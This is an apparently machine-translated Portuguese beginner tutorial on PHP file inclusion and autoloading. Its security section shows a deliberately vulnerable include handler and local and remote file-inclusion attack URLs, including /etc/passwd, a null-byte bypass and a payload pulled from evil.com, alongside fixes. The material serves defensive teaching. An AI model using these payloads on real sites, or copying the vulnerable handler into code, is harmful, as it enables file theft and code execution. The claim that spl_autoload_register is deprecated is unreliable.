PHP para iniciantes. Conexão de arquivo

imagem


Na continuação da série PHP para iniciantes, o artigo de hoje se concentrará em como o PHP pesquisa e conecta arquivos.

Porque e porque


O PHP é uma linguagem de script criada inicialmente para esculpir rapidamente as páginas iniciais (sim, sim, originalmente era Ferramentas Pessoais de Idade Pessoal) e, mais tarde, começou a criar lojas, programas sociais e outros artesanatos que vão além do que se pretendia. , mas por que eu estou - e, quanto mais funcionalidade é codificada, maior é o desejo de estruturá-la corretamente, livrar-se da duplicação de código, dividi-la em partes lógicas e conectar-se apenas se necessário (esse é o mesmo sentimento que você teve quando você leu antes posição, poderia ser quebrado em pedaços separados). Para esse propósito, o PHP tem várias funções, cujo significado geral é conectar e interpretar o arquivo especificado. Vejamos um exemplo de conexão de arquivos:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

Se você executar o script index.php , o PHP conectará e executará tudo isso em sequência:

 $a = 0; $a++; $a++; echo $a; //  2 

Quando um arquivo é conectado, seu código está no mesmo escopo da linha em que foi conectado, portanto, todas as variáveis ​​disponíveis nessa linha estarão disponíveis no arquivo incluído. Se classes ou funções foram declaradas no arquivo de inclusão, elas se enquadram no escopo global (a menos que, é claro, um espaço para nome tenha sido especificado para elas).

Se você conectar o arquivo dentro da função, os arquivos incluídos terão acesso ao escopo da função, portanto o código a seguir também funcionará:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

Separadamente, observo as constantes mágicas : __DIR__ , __FILE__ , __LINE__ e outras - elas estão vinculadas ao contexto e são executadas antes da inclusão ocorrer
A peculiaridade de conectar arquivos é que, ao conectar um arquivo, a análise muda para o modo HTML; por esse motivo, qualquer código dentro do arquivo incluído deve estar entre tags PHP:

 <?php //   // ... // ?> 

Se você tiver apenas código PHP no arquivo, é costume omitir a tag de fechamento, para não esquecer acidentalmente qualquer encadeamento de caracteres após a tag de fechamento, o que está repleto de problemas (discutirei isso no próximo artigo).
Você viu um arquivo de site com 10.000 linhas? Já lágrimas nos meus olhos (╥_╥) ...

Recursos de conexão de arquivo


Como mencionado acima, no PHP existem várias funções para conectar arquivos:

  • incluir - inclui e executa o arquivo especificado, se não o encontrar - emite um alerta E_WARNING
  • include_once - semelhante à função acima, mas inclui o arquivo uma vez
  • exigir - inclui e executa o arquivo especificado, se não o encontrar - gera um erro fatal E_ERROR
  • require_once - semelhante à função acima, mas inclui o arquivo uma vez

Na realidade, essas não são exatamente funções, são construções especiais de linguagem e parênteses podem ser omitidos. Entre outras coisas, existem outras maneiras de conectar e executar arquivos, mas cave você mesmo, que seja uma "tarefa com um asterisco" para você;)
Vamos dar um exemplo das diferenças entre require e require_once , pegue um arquivo echo.php :

 <p>text of file echo.php</p> 

E vamos conectá-lo várias vezes:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

O resultado da execução serão duas conexões com o arquivo echo.php :

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

Existem algumas diretivas que afetam a conexão, mas você não precisará delas - auto_prepend_file e auto_append_file . Essas diretivas permitem instalar arquivos que serão conectados antes de todos os arquivos serem conectados e após a execução de todos os scripts, respectivamente. Não consigo nem imaginar um cenário "ao vivo" quando necessário.

Tarefa
Você pode criar e implementar um script para usar as auto_prepend_file e auto_append_file ; você só pode alterá-las no php.ini , .htaccess ou httpd.conf (consulte PHP_INI_PERDIR ) :)

Para onde está olhando?


O PHP procura arquivos de inclusão nos diretórios especificados na diretiva include_path . Essa diretiva também afeta a operação de fopen() , file() , readfile() e file_get_contents() . O algoritmo é bastante simples - ao pesquisar por arquivos, o PHP revisa cada diretório a partir de include_path , até encontrar um arquivo para conectar, caso contrário, retorna um erro. Para alterar o include_path de um script, use a função set_include_path () .

Há uma coisa importante a considerar ao configurar include_path - caracteres diferentes são usados ​​como separador de caminho no Windows e Linux - ";" e ":" respectivamente, portanto, ao especificar seu diretório, use a constante PATH_SEPARATOR , por exemplo:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

Ao escrever include_path em um arquivo ini, você pode usar variáveis ​​de ambiente como ${USER} :

include_path = ".:${USER}/my-php-library"


Se você incluir um caminho absoluto (começando com "/") ou relativo (começando com "." Ou "..") ao conectar o arquivo, a diretiva include_path será ignorada e a pesquisa será realizada apenas no caminho especificado.
Talvez valha a pena falar sobre safe_mode , mas isso tem sido uma história (desde a versão 5.4), e espero que você não a encontre, mas de repente, para saber o que era, mas passou ...

Usando retorno


Vou falar sobre um pequeno truque de vida - se o arquivo incluído retornar algo usando a construção de return , esses dados poderão ser obtidos e usados, para que você possa organizar facilmente a conexão dos arquivos de configuração, darei um exemplo para ilustrar:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

Fatos interessantes, sem os quais também foi bom: se as funções forem definidas no arquivo incluído, elas poderão ser usadas no arquivo principal, independentemente de terem sido declaradas antes ou depois do retorno
Tarefa
Escreva o código que coletará a configuração de várias pastas e arquivos. A estrutura do arquivo é a seguinte:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

Nesse caso, o código deve funcionar da seguinte maneira:

  • se houver uma variável PROJECT_PHP_SERVER no ambiente do sistema e for igual ao development , todos os arquivos da pasta padrão deverão ser conectados, os dados deverão ser incluídos na variável $config , os arquivos da pasta de desenvolvimento deverão ser conectados e os dados recebidos deverão moer os itens correspondentes armazenados em $config
  • comportamento semelhante se PROJECT_PHP_SERVER for production (naturalmente apenas para a pasta de produção )
  • se não houver variável ou estiver definido incorretamente, apenas os arquivos da pasta padrão serão conectados


Conexão automática


As construções com anexos de arquivo parecem muito volumosas e também seguem a atualização - outro presente, confira um trecho de código do artigo de exemplo sobre exceções :

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

A primeira tentativa de evitar essa "felicidade" foi o aparecimento da função __autoload . Mais precisamente, nem era uma função específica, você tinha que definir essa função e, com ela, precisava conectar os arquivos que precisávamos pelo nome da classe. A única regra era que, para cada classe, um arquivo separado fosse criado pelo nome da classe (ou seja, myClass deveria estar dentro do arquivo myClass.php ). Aqui está um exemplo da implementação dessa função __autoload() (extraída de comentários no manual oficial):

A classe que iremos conectar:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

O arquivo que conecta esta classe:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

Agora, sobre os problemas com essa função - imagine uma situação em que você esteja conectando código de terceiros, e aí alguém já registrou a função __autoload() para o seu código e pronto:

 Fatal error: Cannot redeclare __autoload() 

Para evitar isso, criamos uma função que permite registrar uma função ou método arbitrário como um carregador de classes - spl_autoload_register . I.e. podemos criar várias funções com um nome arbitrário para carregar classes e registrá-las usando spl_autoload_register . Agora, o index.php ficará assim:

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

O cabeçalho “você sabia?”: O primeiro parâmetro spl_autoload_register() é opcional e, chamando a função sem ela, a função spl_autoload será usada como carregador, a pesquisa será realizada em pastas de include_path e arquivos com a extensão .php e .inc , mas isso a lista pode ser expandida usando a função spl_autoload_extensions
Agora, cada desenvolvedor pode registrar seu carregador, o principal é que os nomes das classes não coincidem, mas isso não deve ser um problema se você usar espaços para nome.
Como uma funcionalidade avançada como spl_autoload_register() existe há muito tempo, a função spl_autoload_register() já está declarada obsoleta no PHP 7.1 , o que significa que, no futuro próximo, essa função será completamente removida (X_x)
Bem, a imagem ficou mais ou menos esclarecida, embora, ei, todos os gerenciadores de inicialização registrados estejam na fila da mesma forma que são registrados, respectivamente, se alguém o enganou em seu gerenciador de inicialização, em vez do resultado esperado, um erro muito desagradável será solucionado. Para evitar isso, os adultos espertos descreveram um padrão que permite conectar bibliotecas de terceiros sem problemas, o principal é que a organização das classes neles está em conformidade com o padrão PSR-0 (já tem 10 anos) ou PSR-4 . Qual é a essência dos requisitos descritos nas normas:

  1. Cada biblioteca deve viver em seu próprio espaço para nome (o chamado espaço para nome do fornecedor)
  2. Cada espaço para nome deve ter sua própria pasta.
  3. Dentro do espaço para nome, pode haver subespaços - também em pastas separadas
  4. Uma classe - um arquivo
  5. O nome do arquivo com a extensão .php deve corresponder exatamente ao nome da classe

Exemplo do manual:
Nome completo da turmaNamespaceDiretório baseCaminho completo
\ Acme \ Log \ Writer \ File_WriterAcme \ Log \ Writer./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\ Aura \ Web \ Response \ StatusAura \ Web/ caminho / para / aura-web / src //path/to/aura-web/src/Response/Status.php
\ Symfony \ Core \ RequestSymfony \ core./vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
\ Zend \ AclZend/ usr / includes / Zend //usr/includes/Zend/Acl.php


As diferenças entre esses dois padrões são que o PSR-0 suporta código antigo sem um namespace (ou seja, anterior à versão 5.3.0), e o PSR-4 está livre desse anacronismo e até evita o aninhamento desnecessário de pastas.

Graças a esses padrões, tornou-se possível o surgimento de uma ferramenta como compositor - um gerenciador de pacotes universal para PHP. Se alguém errou, há um bom relatório da pronskiy sobre essa ferramenta.


Injeção de php


Eu também queria falar sobre o primeiro erro de todo mundo que cria um único ponto de entrada para o site em um index.php e o chama de framework MVC:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

Você olha o código e deseja apenas transferir algo malicioso para lá:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

A primeira coisa que vem à mente é adicionar com força a extensão .php , mas em alguns casos ela pode ser contornada "graças a" uma vulnerabilidade de zero byte (leia esta vulnerabilidade foi corrigida por um longo tempo , mas de repente você encontra um intérprete anterior ao PHP 5.3, bem, por desenvolvimento geral também recomendam):

 //    http://domain.com/index.php?page=/etc/passwd%00 

Nas versões modernas do PHP, a presença de um caractere de byte zero no caminho do arquivo conectado imediatamente leva ao erro de conexão correspondente e, mesmo que o arquivo especificado exista e possa ser conectado, o resultado sempre será um erro, ele é verificado da seguinte maneira strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (isto é das entranhas do próprio PHP)
O segundo pensamento "que vale a pena" é procurar um arquivo no diretório atual:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

A terceira, mas não a última modificação da verificação é o uso da diretiva open_basedir , com sua ajuda, você pode especificar o diretório em que exatamente o PHP procurará arquivos para conectar:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

Tenha cuidado, esta diretiva afeta não apenas a conexão de arquivos, mas também todos funcionam com o sistema de arquivos, ou seja, incluindo essa restrição, você deve ter esquecido nada fora do diretório especificado, nem os dados armazenados em cache nem os arquivos do usuário (embora as funções is_uploaded_file() e move_uploaded_file() continuem funcionando com uma pasta temporária para os arquivos baixados).
Que outras verificações são possíveis? Muitas opções, tudo depende da arquitetura do seu aplicativo.

Eu também queria lembrar a existência de uma diretiva "maravilhosa" allow_url_include (depende de allow_url_fopen ), que permite conectar e executar arquivos PHP remotos, o que é muito mais perigoso para o seu servidor:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

Vi, lembre-se e nunca use, o benefício é desativado por padrão. Você precisará desse recurso um pouco menos do que nunca; em todos os outros casos, estabeleça a arquitetura correta do aplicativo, onde várias partes do aplicativo se comunicam por meio da API.

Tarefa
Escreva um script que permita conectar scripts php da pasta atual por nome, lembrando-se de possíveis vulnerabilidades e evitando erros.

Em conclusão


Este artigo é a base do PHP, portanto, estude cuidadosamente, conclua tarefas e não arquive, ninguém ensinará para você.

PS


Este é um repost de uma série de artigos "PHP para iniciantes":


Se você tiver comentários sobre o material do artigo, ou possivelmente em forma, descreva a essência dos comentários, e tornaremos esse material ainda melhor.

Source: https://habr.com/ru/post/pt439618/


All Articles